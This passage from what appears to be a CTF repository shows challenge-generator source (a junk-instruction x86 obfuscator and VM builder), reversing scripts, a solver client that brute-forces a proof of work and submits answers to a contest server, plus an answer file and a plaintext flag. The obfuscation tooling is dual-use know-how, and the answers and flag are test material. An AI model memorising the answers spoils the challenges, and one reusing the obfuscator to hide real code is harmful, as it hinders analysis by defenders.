fix = [] 28 | c = 0 29 | while c < 3: 30 | c += 1 31 | i = random.randint(0, len(l)-1) 32 | answer.append(l[i]) 33 | del l[i] 34 | fix.extend(l) 35 | c = 0 36 | while c < 3: 37 | c += 1 38 | i = random.randint(0, len(r)-1) 39 | answer.append(r[i]) 40 | del r[i] 41 | fix.extend(r) 42 | return fix, answer 43 | 44 | def create_ir(fix, answer): 45 | ir = [] 46 | inputs = [] 47 | for i in xrange(len(answer)): 48 | reg = "input_%d" % i 49 | inputs.append(reg) 50 | ir.append("HINT") 51 | ir.append("INPUT %s" % reg) 52 | 53 | flag = "flag" 54 | result = "result" 55 | ir.append("MOV %s, 0" % result) 56 | 57 | pows = range(MAX_POW) 58 | #for i in xrange(MAX_POW): 59 | while len(pows) > 0: 60 | i = pows[0] 61 | del pows[0] 62 | dsts = ["sum0", "sum1"] 63 | ir.append("MOV %s, 0" % dsts[0]) 64 | ir.append("MOV %s, 0" % dsts[1]) 65 | _inputs = [] 66 | for k in xrange(len(inputs)): 67 | reg = "r%d" % k 68 | _inputs.append(reg) 69 | ir.append("ADD2 %s, %s, %s" % (reg, dsts[0], inputs[k])) 70 | for j in xrange(2): 71 | part_input = _inputs[j*3:j*3+3] 72 | regs = part_input + ["t%d" % k for k in xrange(3)] 73 | #random.shuffle(regs) 74 | exist = set(part_input) 75 | 76 | c = j*3 77 | dst = dsts[j] 78 | while len(regs) > 1: 79 | r0 = regs[0] 80 | r1 = regs[1] 81 | del regs[0] 82 | del regs[0] 83 | if not r0 in exist: 84 | ir.append("MOV %s, %#x" % (r0, fix[c]**(i+1))) 85 | c += 1 86 | elif i >= 1: 87 | ir.append(("MUL%d " + ','.join([r0] * (i+2))) % (i+1)) 88 | if not r1 in exist: 89 | ir.append("MOV %s, %#x" % (r1, fix[c]**(i+1))) 90 | c += 1 91 | elif i >= 1: 92 | ir.append(("MUL%d " + ','.join([r1] * (i+2))) % (i+1)) 93 | 94 | 95 | _type = random.randint(0, 1) 96 | if _type == 0: 97 | ir.append("ADD2 %s, %s, %s" % (r0, r1, r0)) 98 | ir.append("ADD2 %s, %s, %s" % (dst, r0, dst)) 99 | else: 100 | ir.append("ADD2 %s, %s, %s" % (dst, r1, dst)) 101 | ir.append("ADD2 %s, %s, %s" % (dst, r0, dst)) 102 | ir.append("CMP %s, %s, %s" % (flag, dsts[0], dsts[1])) 103 | ir.append("ADD2 %s, %s, %s" % (result, result, flag)) 104 | ir.append("JUDGE %s, %d" % (result, MAX_POW)) 105 | return ir 106 | 107 | def pow_print(l, p): 108 | rst = ','.join(['%#x' % (i ** p) for i in l]) 109 | print '%d:%#x\t\t%s' % (p, sum([i**p for i in l]), rst) 110 | 111 | def pow_debug(fix, _input, p): 112 | i = 1 113 | l = _input[:3] + fix[:3] 114 | s = l[0] ** p 115 | while i < len(l): 116 | print "%d: %#x" % (i, s) 117 | s += l[i] ** p 118 | i += 1 119 | print "%d: %#x" % (i, s) 120 | 121 | def create_bin(filename): 122 | l, r = create_numbers() 123 | 124 | fix, answer = create_answer(l, r) 125 | ir = create_ir(fix, answer) 126 | assembler.ir_compiler(filename, ir) 127 | 128 | return answer 129 | 130 | 131 | if __name__ == "__main__": 132 | a = create_bin("debug") 133 | open("answer", 'w').write('\n'.join(map(str, a)) + '\n') 134 | -------------------------------------------------------------------------------- /2016/0ctf/papi/server/obf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | import random 5 | 6 | import vm 7 | 8 | from utils import * 9 | 10 | Limits = { 11 | 8 : 255, 12 | 16: pow(2, 16)-1, 13 | 32: pow(2, 32)-1, 14 | 64: pow(2, 64)-1 15 | } 16 | 17 | Bits_Words = { 18 | 8: "BYTE PTR ", 19 | 16: "WORD PTR ", 20 | 32: "DWORD PTR ", 21 | 64: "QWORD PTR ", 22 | } 23 | 24 | def get_reg_by_bits(bits): 25 | l = list(vm.Free_Regs) 26 | random.shuffle(l) 27 | for reg in l: 28 | result = eval("reg.has_%d()" % bits) 29 | if result: 30 | vm.Free_Regs.remove(reg) 31 | return reg 32 | return None 33 | 34 | def randreg(): 35 | return random.choice(vm.REGS) 36 | 37 | def randbit(dst): 38 | l = [32, 64] 39 | if dst is not None: 40 | if dst.has_16(): 41 | l.append(16) 42 | if dst.has_8(): 43 | l.append(8) 44 | return random.choice(l), random.randint(0, 1) 45 | 46 | def super_obf(reg=None): 47 | ins = [] 48 | func_list = [obf_mov_imm, obf_calc] 49 | for i in xrange(random.randint(1, 3)): 50 | func = random.choice(func_list) 51 | ins.extend(func(reg)) 52 | return ins 53 | 54 | def obf_mov_imm(reg=None): 55 | ins = [] 56 | for i in xrange(random.randint(2, 4)): 57 | dst = choose_reg() 58 | bits, idx = randbit(dst) 59 | _type = random.randint(0, 10) 60 | if _type < 3: 61 | ins.append("mov %s, %#x" % (dst.str(bits, idx), random.randint(0, Limits[bits]))) 62 | elif (reg is not None) and _type < 8: 63 | cmovcc = random.choice(['cmova', 'cmovae', 'cmovb', 'cmovbe', 'cmovc', 'cmove', 'cmovne', 'cmovge', 'cmovl', 'cmovle', 'cmovna', 'cmovnae', 'cmovnb', 'cmovnc', 'cmovnbe', \ 64 | 'cmovng', 'cmovnge', 'cmovnl', 'cmovnle', 'cmovno', 'cmovnp', 'cmovns', 'cmovnz', 'cmovo', 'cmovp', 'cmovpe', 'cmovpo', 'cmovs', 'cmovz']) 65 | bits = random.choice([64, 32]) 66 | ins.append("%s %s, %s" % (cmovcc, dst.str(bits), reg.str(bits))) 67 | else: 68 | ins.append("mov %s, %s [%s + %d]" % (dst.str(bits, 1), Bits_Words[bits], vm.PC.str(), random.randint(0, 11))) 69 | vm.Free_Regs.add(dst) 70 | return ins 71 | 72 | def obf_push(reg=None): 73 | ins = [] 74 | rand_reg = False 75 | if reg is None: 76 | reg = choose_reg() 77 | rand_reg = True 78 | ins.append("push %s" % reg.str()) 79 | depth = random.randint(1, 5) 80 | cur_depth = 0 81 | for i in xrange(depth): 82 | if random.randint(0, 1) == 0: 83 | ins.append("push %s" % reg.str()) 84 | else: 85 | d = random.randint(0, cur_depth) * 8 86 | ins.append("push [rsp + %d]" % (d)) 87 | cur_depth += 1 88 | for i in xrange(depth): 89 | if random.randint(0, 1) == 1: 90 | ins.append("pop %s" % reg.str()) 91 | else: 92 | d = random.randint(0, depth) * 8 93 | ins.append("pop [rsp + %d]" % d) 94 | ins.append("pop %s" % reg.str()) 95 | if rand_reg: 96 | vm.Free_Regs.add(reg) 97 | return ins 98 | 99 | def obf_branch(orig_reg=None): 100 | """ 101 | assume orig_reg is free reg 102 | """ 103 | ins = [] 104 | regs = list(vm.Free_Regs) 105 | if orig_reg is not None: 106 | regs.append(orig_reg) 107 | 108 | def regs_by_bit(bit, l): 109 | random.shuffle(l) 110 | for reg in l: 111 | result = eval("reg.has_%d()" % bit) 112 | if result: 113 | return reg 114 | return None 115 | 116 | depth = random.randint(1, 5) 117 | 118 | for i in xrange(depth): 119 | cond_jmp = ['jecxz', 'jrcxz', 'ja', 'jae', 'jb', 'jbe', 'jc', 'je', 'jne', 'jg', 'jge', 'jl', 'jle', 'jna', 'jnae', 'jnb', 'jnc', 'jnbe', \ 120 | 'jng', 'jnge', 'jnl', 'jnle', 'jno', 'jnp', 'jns', 'jnz', 'jo', 'jp', 'jpe', 'jpo', 'js', 'jz'] 121 | ins.append("%s CONT" % (random.choice(cond_jmp))) 122 | for j in xrange(random.randint(1, 2)): 123 | _type = random.randint(0, 1) 124 | if _type == 0: 125 | reg = random.choice(regs) 126 | 127 | calc = ['xor', 'add', 'sub', 'and', 'or'] 128 | 129 | bits = [32, 64] 130 | if reg.has_16(): 131 | bits.append(16) 132 | elif reg.has_8(): 133 | bits.append(8) 134 | bit = random.choice(bits) 135 | if random.randint(0, 1) == 0: 136 | dst = regs_by_bit(bit, regs) 137 | while ((not reg.has(bit)) or (dst is None)) and len(bits) > 0: 138 | bits.remove(bit) 139 | bit = random.choice(bits) 140 | dst = regs_by_bit(bit, regs) 141 | if dst is not None and reg.has(bit): 142 | ins.append("%s %s, %s" % (random.choice(calc), dst.str(bit), reg.str(bit))) 143 | else: 144 | mem = new_fake_vm_reg() 145 | word = Bits_Words[bit] 146 | if random.randint(0, 1) == 0: 147 | ins.append("mov %s [%s + %d], %s" % (word, vm.Ctx.str(), ((mem << 3) + random.randint(0, 8)), reg.str(bit))) 148 | else: 149 | ins.append("mov %s, %s [%s + %d]" % (reg.str(bit), word, vm.Ctx.str(), ((mem << 3) + random.randint(0, 8)))) 150 | remove_fake_vm_reg(mem) 151 | 152 | elif _type == 1: 153 | reg = random.choice(regs) 154 | bits, idx = randbit(reg) 155 | calc = ['not', 'neg', 'inc', 'dec'] 156 | ins.append("%s %s" % (random.choice(calc), reg.str(bits))) 157 | 158 | ins.append("CONT:") 159 | return ins 160 | 161 | def obf_calc(orig_reg=None): 162 | ins = [] 163 | reg = None 164 | for i in xrange(random.randint(1, 5)): 165 | _type = random.randint(0, 2) 166 | if _type == 0: 167 | new_reg = False 168 | reg = orig_reg 169 | if reg is None: 170 | reg = choose_reg() 171 | new_reg = True 172 | 173 | calc = ['xor', 'add', 'sub', 'and', 'or'] 174 | 175 | bits = [32, 64] 176 | if reg.has_16(): 177 | bits.append(16) 178 | elif reg.has_8(): 179 | bits.append(8) 180 | bit = random.choice(bits) 181 | dst = get_reg_by_bits(bit) 182 | while ((not reg.has(bit)) or (dst is None)) and len(bits) > 0: 183 | bits.remove(bit) 184 | bit = random.choice(bits) 185 | dst = get_reg_by_bits(bit) 186 | if dst is not None and reg.has(bit): 187 | ins.append("%s %s, %s" % (random.choice(calc), dst.str(bit), reg.str(bit))) 188 | ins.extend(obf_branch(dst)) 189 | 190 | if new_reg: 191 | vm.Free_Regs.add(reg) 192 | if dst is not None: 193 | vm.Free_Regs.add(dst) 194 | elif _type == 1: 195 | reg = choose_reg() 196 | bits, idx = randbit(reg) 197 | calc = ['not', 'neg', 'inc', 'dec'] 198 | ins.append("%s %s" % (random.choice(calc), reg.str(bits))) 199 | ins.extend(obf_branch(reg)) 200 | vm.Free_Regs.add(reg) 201 | elif _type == 2: 202 | reg = get_reg_by_bits(8) 203 | if reg is not None: 204 | calc = ['seta', 'setae', 'setb', 'setbe', 'setc', 'sete', 'setne', 'setg', 'setge', 'setl', 'setle', 'setna', 'setnae', 'setnb', 'setnc', 'setnbe', \ 205 | 'setng', 'setnge', 'setnl', 'setnle', 'setno', 'setnp', 'setns', 'setnz', 'seto', 'setp', 'setpe', 'setpo', 'sets', 'setz'] 206 | ins.append("%s %s" % (random.choice(calc), reg.str(8, random.randint(0, 1)))) 207 | ins.extend(obf_branch(reg)) 208 | vm.Free_Regs.add(reg) 209 | else: 210 | calc = ['clc', 'cld', 'cmc', 'stc', 'std'] 211 | ins.append(random.choice(calc)) 212 | return ins 213 | 214 | if __name__ == "__main__": 215 | #print '\n'.join(obf_push()) 216 | vm.Ctx = vm.get_reg("rax") 217 | for i in xrange(10): 218 | print i 219 | #print '\n'.join(obf_calc()) 220 | print '\n'.join(obf_branch()) 221 | print 222 | #print '\n'.join(obf_mov_imm()) 223 | print 224 | -------------------------------------------------------------------------------- /2016/0ctf/papi/server/sql: -------------------------------------------------------------------------------- 1 | create table handlers(id int(11) NOT NULL AUTO_INCREMENT, type int(4) NOT NULL, name varchar(32) NOT NULL, code varchar(8192) NOT NULL, offs varchar(256), ctx varchar(8) NOT NULL, pc varchar(8) NOT NULL, xorkey varchar(8) NOT NULL, PRIMARY KEY (id)); 2 | -------------------------------------------------------------------------------- /2016/0ctf/papi/server/utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | import os 5 | import random 6 | 7 | import vm 8 | 9 | import config 10 | 11 | from pwn import p64, ELF 12 | 13 | 14 | fake_RIP = "RIP:" 15 | fake_KEY = "KEY" 16 | 17 | HANDLER_OFFSET_SIZE = 8 18 | PADDING_CHAR = "m" 19 | OFFSET_PADDING = PADDING_CHAR * HANDLER_OFFSET_SIZE 20 | 21 | string_map = { 22 | "HINT" :("hint", "Input integer:"), 23 | "CORRECT" :("correct", "Correct!\\n"), 24 | "WRONG" :("wrong", "Wrong!\\n"), 25 | } 26 | 27 | # Binary utils 28 | def save(filename, ins, vm_key, vm_code=""): 29 | header = ".intel_syntax noprefix\n\n" 30 | bss = """.section .bss 31 | .lcomm context %d 32 | .lcomm input 16 33 | """ % (vm.MEM_SIZE * 2) 34 | 35 | data = """ 36 | .section .data 37 | vm_code: 38 | .byte %s 39 | vm_key: 40 | .byte %s 41 | """ % ("0" if len(vm_code) == 0 else vm_code, vm_key) 42 | for item in string_map: 43 | data += "%s:\n .ascii \"%s\\x00\"\n" % string_map[item] 44 | 45 | text = """ 46 | .section .text 47 | .global _start 48 | _start: 49 | """ + ins 50 | tail = "" 51 | open(filename, 'w').write(header + bss + data + text + tail) 52 | 53 | def compile_vm(filename): 54 | os.system('as %s.s -o %s.o' % (filename, filename)) 55 | os.system('ld %s.o -o %s' % (filename, filename)) 56 | 57 | def shuffle(handlers): 58 | random.shuffle(handlers) 59 | return handlers 60 | 61 | def read_symbol(filename): 62 | elf = ELF(filename) 63 | symbols = elf.symbols 64 | dsts = sorted([(int(i[2:]), symbols[i]) for i in symbols if i.startswith("L_")], key=lambda x: x[0]) 65 | srcs = sorted([(int(i[4:]), symbols[i]) for i in symbols if i.startswith("RIP_")], key=lambda x: x[0]) 66 | vm_code_off = -1 67 | vm_code_size = -1 68 | for sec in elf.sections: 69 | if sec.name == ".data": 70 | vm_code_off = sec.header['sh_offset'] 71 | vm_code_size = sec.header['sh_size'] 72 | break 73 | return srcs, dsts, vm_code_off, vm_code_size 74 | 75 | def calc_ir_offs(srcs, dsts, mask_keys): 76 | offs = [] 77 | for i in xrange(len(srcs)): 78 | off = ((dsts[i+1][1] - srcs[i][1]) & 0xffffffffffffffff) 79 | off ^= mask_keys[i] 80 | offs.append(off) 81 | return offs 82 | 83 | def patch_vm_code(filename, mask_keys, vm_code): 84 | srcs, dsts, vm_code_offset, vm_code_size = read_symbol(filename) 85 | ir_offs = calc_ir_offs(srcs, dsts, mask_keys) 86 | 87 | # generate new vm_code 88 | data = open(filename, 'rb').read() 89 | off = vm_code_offset 90 | i = 0 91 | while off < (vm_code_offset + vm_code_size) and i < len(vm_code): 92 | item = vm_code[i][0] 93 | handler_off_idx = vm_code[i][1] 94 | # fix to correct offset 95 | if i < len(ir_offs): 96 | item = item[:handler_off_idx] + p64(ir_offs[i]) + item[handler_off_idx+HANDLER_OFFSET_SIZE:] 97 | # add to file data 98 | data = data[:off] + item + data[off+len(item):] 99 | 100 | i += 1 101 | off += len(item) 102 | 103 | open(filename, 'wb').write(data) 104 | return filename 105 | 106 | def post_proc(filename, handlers, init_key, mask_keys, vm_code): 107 | vm_code_size = sum(map(lambda x: len(x[0]), vm_code)) 108 | ins = ' ' + '\n\n '.join(map(lambda x: '\n '.join(x), handlers)) 109 | save(filename+'.s', ins + '\n', init_key, ', '.join(['0x00'] * vm_code_size)) 110 | 111 | compile_vm(filename) 112 | name = patch_vm_code(filename, mask_keys, vm_code) 113 | if config.need_strip: 114 | os.system("strip %s" % name) 115 | os.system("chmod +x %s" % name) 116 | 117 | 118 | # VM Reg operation 119 | def new_vm_reg(): 120 | if len(vm.Mem) == (vm.MEM_SIZE >> 3): 121 | print "not have enough memory" 122 | reg = random.randint(0, (vm.MEM_SIZE - 8) >> 3) 123 | while reg in vm.Mem or reg == ord(PADDING_CHAR): 124 | reg = random.randint(0, (vm.MEM_SIZE - 8) >> 3) 125 | vm.Mem.add(reg) 126 | return reg 127 | 128 | def remove_vm_reg(value): 129 | vm.Mem.remove(value) 130 | 131 | def new_fake_vm_reg(): 132 | if len(vm.FakeMem) == (vm.MEM_SIZE >> 3): 133 | print "not have enough memory" 134 | reg = random.randint(0, (vm.MEM_SIZE - 16) >> 3) 135 | while reg in vm.FakeMem: 136 | reg = random.randint(0, (vm.MEM_SIZE - 16) >> 3) 137 | reg += (vm.MEM_SIZE >> 3) 138 | vm.FakeMem.add(reg) 139 | return reg 140 | 141 | def remove_fake_vm_reg(value): 142 | vm.FakeMem.remove(value) 143 | 144 | # Instruction Utils 145 | def clear_vm(): 146 | ctx = vm.Ctx 147 | pc = vm.PC 148 | key = vm.Key 149 | 150 | vm.Ctx = None 151 | vm.PC = None 152 | vm.Key = None 153 | return ctx.str(), pc.str(), key.str() 154 | 155 | def reset_free_regs(): 156 | vm.Free_Regs = set(vm.REGS) 157 | 158 | def update_vm(ctx, pc, key): 159 | ins = [] 160 | 161 | cur_ctx = vm.Ctx.str() 162 | cur_pc = vm.PC.str() 163 | cur_key = vm.Key.str() 164 | if ctx == cur_pc or ctx == cur_key \ 165 | or pc == cur_ctx or pc == cur_key \ 166 | or key == cur_pc or key == cur_ctx: 167 | vctx = new_vm_reg() << 3 168 | vpc = new_vm_reg() << 3 169 | vkey = new_vm_reg() << 3 170 | ins.append("mov [%s+%d], %s" % (cur_ctx, vctx, cur_ctx)) 171 | ins.append("mov [%s+%d], %s" % (cur_ctx, vpc, cur_pc)) 172 | ins.append("mov [%s+%d], %s" % (cur_ctx, vkey, cur_key)) 173 | random.shuffle(ins) 174 | ins.append("mov %s, [%s+%d]" % (ctx, cur_ctx, vctx)) 175 | ins.append("mov %s, [%s+%d]" % (pc, ctx, vpc)) 176 | ins.append("mov %s, [%s+%d]" % (key, ctx, vkey)) 177 | remove_vm_reg(vctx>>3) 178 | remove_vm_reg(vpc>>3) 179 | remove_vm_reg(vkey>>3) 180 | else: 181 | ins.append("mov %s, %s" % (ctx, cur_ctx)) 182 | ins.append("mov %s, %s" % (pc, cur_pc)) 183 | ins.append("mov %s, %s" % (key, cur_key)) 184 | vm.Ctx = vm.get_reg(ctx) 185 | vm.PC = vm.get_reg(pc) 186 | vm.Key = vm.get_reg(key) 187 | return ins 188 | 189 | def choose_reg(need_8bit=False): 190 | r = random.choice(list(vm.Free_Regs)) 191 | vm.Free_Regs.remove(r) 192 | return r 193 | 194 | if __name__ == "__main__": 195 | pass 196 | -------------------------------------------------------------------------------- /2016/0ctf/papi/server/vm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | class Reg: 5 | def __init__(self, r64, r32, r16="", r8=[]): 6 | self.r64 = r64 7 | self.r32 = r32 8 | self.r16 = r16 9 | self.r8 = r8 10 | self.have_16_bits = True if len(r16) > 0 else False 11 | self.have_8_bits = True if len(r8) > 0 else False 12 | 13 | def str(self, bits=64, idx=0): 14 | if bits == 64: 15 | return self.r64 16 | elif bits == 32: 17 | return self.r32 18 | elif bits == 16: 19 | if self.have_16_bits: 20 | return self.r16 21 | else: 22 | return self.r32 23 | elif bits == 8: 24 | if self.have_8_bits: 25 | return self.r8[idx] if idx < len(self.r8) else self.r8[0] 26 | else: 27 | return self.r32 28 | return "" 29 | 30 | def has(self, bits): 31 | return eval("self.has_%d()" % bits) 32 | 33 | def has_8(self): 34 | return len(self.r8) > 0 35 | 36 | def has_16(self): 37 | return len(self.r16) > 0 38 | 39 | def has_32(self): 40 | return True 41 | 42 | def has_64(self): 43 | return True 44 | 45 | def __hash__(self): 46 | return hash(self.r64) 47 | 48 | def __eq__(self, a): 49 | return self.r64 == a.r64 50 | 51 | 52 | REGS = [ 53 | Reg("rax", "eax", "ax", ["ah", "al"]), 54 | Reg("rbx", "ebx", "bx", ["bh", "bl"]), 55 | Reg("rcx", "ecx", "cx", ["ch", "cl"]), 56 | Reg("rdx", "edx", "dx", ["dh", "dl"]), 57 | Reg("rdi", "edi", "di", ["dil"]), 58 | Reg("rsi", "esi", "si", ["sil"]), 59 | #Reg("rsp", "esp", "sp", []), 60 | Reg("rbp", "ebp", "bp", []), 61 | Reg("r8", "r8d", "r8w", ["r8b"]), 62 | Reg("r9", "r9d", "r9w", ["r9b"]), 63 | Reg("r10", "r10d", "r10w", ["r10b"]), 64 | Reg("r11", "r11d", "r11w", ["r11b"]), 65 | Reg("r12", "r12d", "r12w", ["r12b"]), 66 | Reg("r13", "r13d", "r13w", ["r13b"]), 67 | Reg("r14", "r14d", "r14w", ["r14b"]), 68 | Reg("r15", "r15d", "r15w", ["r15b"]), 69 | ] 70 | 71 | def get_reg(name): 72 | for i in REGS: 73 | if i.str() == name: 74 | return i 75 | return None 76 | 77 | Free_Regs = set(REGS) 78 | Key = None 79 | Ctx = None 80 | PC = None 81 | 82 | MEM_SIZE = 1024 83 | Mem = set() 84 | FakeMem = set() 85 | 86 | -------------------------------------------------------------------------------- /2016/0ctf/papi/server/vm_opcode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | INSTRUCTIONS = [ 5 | "ADD2", 6 | "ADD3", 7 | "ADD4", 8 | "ADD5", 9 | "ADD6", 10 | "MUL2", 11 | "MUL3", 12 | "MUL4", 13 | "MUL5", 14 | "CMP", 15 | "INPUT", 16 | "HINT", 17 | "JUDGE", 18 | "MOV" 19 | ] 20 | 21 | opcodes = {} 22 | for i in xrange(len(INSTRUCTIONS)): 23 | opcodes[INSTRUCTIONS[i]] = i 24 | 25 | 26 | -------------------------------------------------------------------------------- /2016/0ctf/papi/server/wrapper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | import os 5 | import sys 6 | import random 7 | import signal 8 | 9 | import ir 10 | import config 11 | 12 | if config.debug: 13 | import traceback 14 | 15 | 16 | from hashlib import md5 17 | from sh import Command 18 | 19 | def rand_file(): 20 | if config.debug: 21 | return abs_path("debug") 22 | return config.tmp_path + md5(str(random.random())).hexdigest() 23 | 24 | def read_file(filename): 25 | fd = open(filename, 'r') 26 | data = fd.read() 27 | fd.close() 28 | return data 29 | 30 | def abs_path(filename): 31 | return os.path.join(os.path.dirname(os.path.abspath(__file__)), filename) 32 | 33 | def check(filename, answer): 34 | result = False 35 | try: 36 | elf = Command(filename) 37 | elf_out = elf(_in=(map(lambda x: str(x) + '\n', answer)), _ok_code=[0, 1]) 38 | if elf_out.exit_code == 0:# and elf_out.stdout.encode("hex") == "496e70757420696e74656765723a496e70757420696e74656765723a496e70757420696e74656765723a496e70757420696e74656765723a496e70757420696e74656765723a496e70757420696e74656765723a436f7272656374210a": 39 | result = True 40 | except: 41 | if config.debug: 42 | traceback.print_exc() 43 | result = False 44 | return result 45 | 46 | def main(): 47 | try: 48 | filename = rand_file() 49 | #print filename 50 | answer = ir.create_bin(filename) 51 | if config.debug: 52 | p = abs_path("answer") 53 | open(p, 'w').write('\n'.join(map(str, answer)) + '\n') 54 | 55 | sys.stdout.write(read_file(filename).encode("base64")) 56 | sys.stdout.flush() 57 | print 58 | #print answer 59 | 60 | signal.alarm(config.waiting_time) 61 | user_answer = [] 62 | 63 | if not config.debug: 64 | for i in xrange(6): 65 | data = input("Input integer:") 66 | sys.stdout.flush() 67 | user_answer.append(data) 68 | else: 69 | user_answer = answer 70 | if check(filename, user_answer): 71 | print read_file(abs_path("flag")) 72 | else: 73 | print "Wrong!" 74 | except: 75 | if config.debug: 76 | traceback.print_exc() 77 | print ">.<" 78 | finally: 79 | try: 80 | pass 81 | #os.system("rm {0} {0}.o {0}.s".format(filename)) 82 | except: 83 | print ">..<" 84 | 85 | 86 | if __name__ == "__main__": 87 | main() 88 | -------------------------------------------------------------------------------- /2018/0ctf/Provisioning/README.md: -------------------------------------------------------------------------------- 1 | # Provisioning 2 | Here is some scripts i wrote when checking this chall. 3 | 4 | 1. get `ESP8266` from strings result. it's xtensa arch. 5 | 2. get xtensa ida processor from [github](https://github.com/themadinventor/ida-xtensa) 6 | 3. run `recover.py` to disassemble most of functions in this bin 7 | 4. library function identification with bindiff 8 | 5. find `user_init` method via weird string ``, this string also appear in pcap 9 | 6. it's a wifi station, which opens promiscuous mode and registers a callback on receiving packet. 10 | 7. reversing that receiving callback and figure out what is it. One may need to fix some bugs in above xtensa processor. for example, imm in addi instruction ranges from -128..127. 11 | 8. simulate the decoding function and decode Data frame in pcap. For those data frames, they have a same transmitter address, which is `dc:ef:09:d0:5a:f1`. 12 | 13 | Thanks to this chall's creator [b1gtang](https://github.com/b1gtang). 14 | -------------------------------------------------------------------------------- /2018/0ctf/Provisioning/problem.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xiaohuajiao/my-ctf/6f1be3f6d74df2ee3dca64760e68b75a928a7e09/2018/0ctf/Provisioning/problem.zip -------------------------------------------------------------------------------- /2018/0ctf/Provisioning/recover.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from idaapi import * 4 | from idc import * 5 | import struct 6 | 7 | u32 = lambda x: struct.unpack(" 0x10: 54 | return 55 | if status == 1: 56 | if length == 0: 57 | status = 2 58 | onbyte_idx = 1 59 | onbyte[0] = 0 60 | return 61 | elif status == 2: 62 | if length != 0: 63 | status = 1 64 | onbyte_idx = 0 65 | elif length == 0: 66 | onbyte[onbyte_idx] = 0 67 | onbyte_idx += 1 68 | status = 4 69 | elif status == 4: 70 | if length != 0: 71 | onbyte[onbyte_idx] = length 72 | onbyte_idx += 1 73 | elif length == 0: 74 | status = 2 75 | onbyte_idx = 1 76 | onbyte[0] = 0 77 | 78 | if onbyte_idx > 9: 79 | ret = decode(onbyte) 80 | status = 1 81 | onbyte_idx = 0 82 | 83 | def main(): 84 | from IPython import embed 85 | pp = rdpcap(sys.argv[1]) 86 | rst = [] 87 | cs = [] 88 | for p in pp: 89 | if p.type == 2 and p.subtype == 0 and p[Dot11].addr2 == "dc:ef:09:d0:5a:f1": 90 | data = str(p[Dot11]) 91 | if ord(data[1]) & 2 == 2: 92 | rst.append(data) 93 | cs.append(len(data)-80) 94 | 95 | for i in cs: 96 | analyze(i) 97 | # embed() 98 | print ''.join(map(chr, recvbuf)) 99 | 100 | main() 101 | -------------------------------------------------------------------------------- /2018/0ctf/g0g0g0/README.md: -------------------------------------------------------------------------------- 1 | Reference: 2 | 3 | 1. read paper 4 | 2. get transform formula 5 | 3. find integer rational point 6 | 4. find positive integer answer 7 | 8 | 9 | [1]. [Quora answer](https://www.quora.com/How-do-you-find-the-positive-integer-solutions-to-frac-x-y%2Bz-%2B-frac-y-z%2Bx-%2B-frac-z-x%2By-4/answer/Alon-Amit) 10 | [2]. [Paper](http://ami.ektf.hu/uploads/papers/finalpdf/AMI_43_from29to41.pdf) 11 | 12 | 13 | > Some teams also found this answer on [math.stackexchange](https://math.stackexchange.com/questions/402537/find-integer-in-the-form-fracabc-fracbca-fraccab/409450) 14 | -------------------------------------------------------------------------------- /2018/0ctf/g0g0g0/answer10: -------------------------------------------------------------------------------- 1 | 4862378745380642626737318101484977637219057323564658907686653339599714454790559130946320953938197181210525554039710122136086190642013402927952831079021210585653078786813279351784906397934209 2 | 269103113846520710198086599018316928810831097261381335767926880507079911347095440987749703663156874995907158014866846058485318408629957749519665987782327830143454337518378955846463785600977 3 | 221855981602380704196804518854316541759883857932028285581812549404634844243737502744011549757448453135493556098964216532950604590733853450272184987603430882682754171300742698179931849310347 4 | -------------------------------------------------------------------------------- /2018/0ctf/g0g0g0/client.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from pwn import remote, context 4 | from hashlib import sha256 5 | import string 6 | 7 | context.log_level = "debug" 8 | 9 | dic = string.ascii_letters+string.digits 10 | 11 | r = remote("202.120.7.206", 13337) 12 | 13 | line = r.recvline(1) 14 | print line 15 | 16 | r.recvuntil("):") 17 | 18 | source, target = line.strip("\n").split(" == ") 19 | source = source.split("+")[1].strip(")") 20 | print source 21 | target = target.decode("hex") 22 | print target.encode("hex") 23 | 24 | rst = "" 25 | for i in dic: 26 | for j in dic: 27 | for k in dic: 28 | for n in dic: 29 | item = i + j + k + n 30 | if sha256(item+source).digest() == target: 31 | rst = item 32 | 33 | r.send(rst) 34 | 35 | r.recvuntil("Input 3 numbers\n") 36 | 37 | r.send(open("answer10").read()) 38 | 39 | r.interactive() 40 | -------------------------------------------------------------------------------- /2018/0ctf/g0g0g0/flag: -------------------------------------------------------------------------------- 1 | flag{d0_You_l1k3_5Sa?cool~gogog0!} 2 | -------------------------------------------------------------------------------- /2018/0ctf/g0g0g0/gen.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | RUNTIME_DIR=/tmp 4 | LOG_DIR=`pwd` 5 | cp input ${RUNTIME_DIR}/ 6 | cp gogo.go ${RUNTIME_DIR}/ 7 | 8 | pushd ${RUNTIME_DIR} 9 | cat input | ssadump -run -interp=T gogo.go 2>${LOG_DIR}/trace.log 10 | popd 11 | -------------------------------------------------------------------------------- /2018/0ctf/g0g0g0/gogo.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | // max 8 | func func0(a, b int) int { 9 | if a > b { 10 | return a 11 | } else { 12 | return b 13 | } 14 | } 15 | 16 | 17 | // cmp 18 | func func1(aa, bb []int) (int) { 19 | var a, b []int 20 | 21 | for i := len(aa) - 1; i >= 0; i-- { 22 | if aa[i] > 0 { 23 | a = aa[:i+1] 24 | break 25 | } 26 | } 27 | for i := len(bb) - 1; i >= 0; i-- { 28 | if bb[i] > 0 { 29 | b = bb[:i+1] 30 | break 31 | } 32 | } 33 | 34 | if len(a) > len(b) { 35 | return 1 36 | } else if (len(a) < len(b)) { 37 | return -1 38 | } else { 39 | for i := len(a) - 1; i >= 0; i-- { 40 | if a[i] > b[i] { 41 | return 1 42 | } else if a[i] < b[i] { 43 | return -1 44 | } 45 | } 46 | } 47 | return -2 48 | } 49 | 50 | // add 51 | func func2(a, b []int) ([]int) { 